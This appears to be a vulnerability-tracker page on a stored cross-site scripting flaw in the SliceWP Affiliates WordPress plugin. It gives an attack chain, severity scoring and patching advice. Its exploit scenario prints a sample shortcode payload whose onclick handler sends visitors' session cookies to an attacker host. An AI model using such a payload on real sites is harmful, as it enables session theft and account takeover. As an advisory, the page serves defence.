Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain contributor credentials (via phishing or insider threat)
-
DeliveryEdit page using slicewp_affiliate_url shortcode
-
ExploitInject malicious JavaScript in shortcode attribute
-
InstallSave page with stored XSS payload
-
C2Victim visits page and JavaScript executes in their browser
-
ExecuteSteal session cookie or perform account takeover
-
ImpactAccess sensitive site data or escalate privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the following specific preconditions: (1) SliceWP Affiliates plugin version 1.2.7 or earlier must be installed and active on the WordPress site; (2) the attacker must possess WordPress user credentials with contributor-level access or above (PR:L in CVSS vector); (3) the 'slicewp_affiliate_url' shortcode must be used on at least one page or post; (4) the attacker must have permission to create or edit posts/pages containing shortcodes (a standard capability of contributor and author roles); (5) no additional content security policy (CSP) headers or Web Application Firewall rules must block inline script execution. Exploitation is NOT limited to any specific WordPress configuration, theme, or hosting environment - any standard WordPress installation with the vulnerable plugin active is susceptible. The vulnerability does NOT require admin access, does NOT require disabling security plugins, and does NOT require any non-default WordPress settings. |
| Impact | The CVSS score of 6.4 (Medium) reflects a network attack vector with low complexity but restricted by requirement for authenticated access at contributor level or above. The presence of scope change (S:C) indicates the vulnerability can impact confidentiality and integrity of resources outside the security scope of the vulnerable component. The exploitation probability is high in real-world WordPress deployments because: (1) many WordPress sites grant contributor or author roles to content creators and guest authors with limited vetting; (2) the attack complexity is low (AC:L) - crafting a malicious shortcode attribute is trivial; (3) no user interaction is required (UI:N) beyond normal page access; (4) the vulnerability is stored, making it persistent and affecting all users of the site. However, the requirement for authenticated access (PR:L) significantly reduces the attack surface compared to unauthenticated XSS. The practical risk depends on WordPress role management practices at each deployment. Organizations with strict contributor access controls and regular security training face lower risk; those with permissive role delegation face higher risk. No EPSS score, KEV listing, or public exploit code is available in the provided data, suggesting this is not yet a high-priority exploitation target in the wild, but the simplicity of the attack means exploitation could escalate quickly if WordPress sites are compromised or if insider threats exist. |
| Exploit ScenarioDerived | A WordPress user with contributor access, either a disgruntled employee or an account compromised via phishing, creates or edits a page containing a shortcode like [slicewp_affiliate_url id='1' onclick='fetch("https://attacker.com/steal?cookie="+document.cookie)'] with a malicious onclick handler embedded in the shortcode attribute. When any visitor accesses that page, the browser parses and executes the injected JavaScript, sending the visitor's session cookie to the attacker's server. The attacker can then replay the stolen session cookie to impersonate the victim user, potentially escalating to admin privileges if the victim was an administrator. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 06, 2026
Stored Cross-Site Scripting in SliceWP Affiliates plugin for WordPress (versions up to 1.2.7) allows authenticated contributors and above to inject arbitrary JavaScript via unsanitized shortcode attributes in the 'slicewp_affiliate_url' shortcode. The injected scripts execute in the browsers of all users accessing the affected page, enabling account compromise, credential theft, or malware distribution. No public exploit code or active exploitation has been identified, but the vulnerability is straightforward to exploit given the low attack complexity and requires only contributor-level WordPress access.
RemediationAI
Update SliceWP Affiliates plugin to version 1.2.8 or later immediately; this version includes patched input sanitization and output escaping for the 'slicewp_affiliate_url' shortcode. Vendors should implement proper use of WordPress sanitization functions (e.g., sanitize_text_field(), wp_kses_post()) at input time and escaping functions (e.g., esc_attr(), esc_html()) at output time for all shortcode attributes. As an interim workaround before patching, WordPress administrators can restrict contributor-level access to users who have demonstrable need and undergo security training, though this does not eliminate the vulnerability if those accounts are compromised. Alternatively, disable the SliceWP Affiliates plugin entirely if the affiliate functionality is not critical, then re-enable after patching. Review all pages and posts containing the 'slicewp_affiliate_url' shortcode for any suspicious attribute values that may have been injected before the patch was applied; use WordPress post revisions to identify when malicious content was inserted and audit user access logs for that period.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from insufficient input sanitization and output escaping in the 'slicewp_affiliate_url' shortcode handler within the SliceWP Affiliates plugin (CPE: cpe:2.3:a:iovamihai:affiliate_program_suite_-_slicewp_affiliates). WordPress shortcodes accept user-supplied attributes that are processed server-side and rendered into page output. When a shortcode does not properly sanitize input attributes before storing them in the database or escape them before output in HTML context, an attacker can embed JavaScript payloads that will execute in victim browsers. This is a classic Stored XSS vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation). The attack vector is network-based because the malicious content is stored and later retrieved and rendered by the web application, affecting any user who views the compromised page.
Know when Wordpress Plugin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Affiliate Program Suite - SliceWP Affiliates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in all versions up to, and including, 1.2.7. This is due to insufficient input sanitization and output escaping on user-supplied attributes in the 'slicewp_affiliate_url' shortcode. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Wordpress Plugin
View allThe Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
The Hash Form - Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing fil
Authentication bypass in the LiteSpeed Cache WordPress plugin (versions prior to 6.5.0.1) allows unauthenticated remote
The Simple File List plugin for WordPress through version 4.2.2 contains an unauthenticated remote code execution vulner
The AI Engine WordPress plugin through version 3.1.3 exposes Bearer Token values through the /mcp/v1/ REST API endpoint
The SureTriggers WordPress plugin through version 1.0.82 contains a privilege escalation vulnerability that allows unaut
The Ninja Forms plugin before 2.9.42.1 for WordPress allows remote attackers to conduct PHP object injection attacks via
The Business Directory Plugin - Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based
SQL injection in the NotificationX WordPress plugin (versions up to and including 2.8.2) allows unauthenticated remote a
The POST SMTP Mailer - Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress i
The MasterStudy LMS WordPress Plugin - for Online Courses and Education plugin for WordPress is vulnerable to union base
The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the ‘hash’ parameter in
EUVD-2026-27538
GHSA-2h5w-9g5w-vwph
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB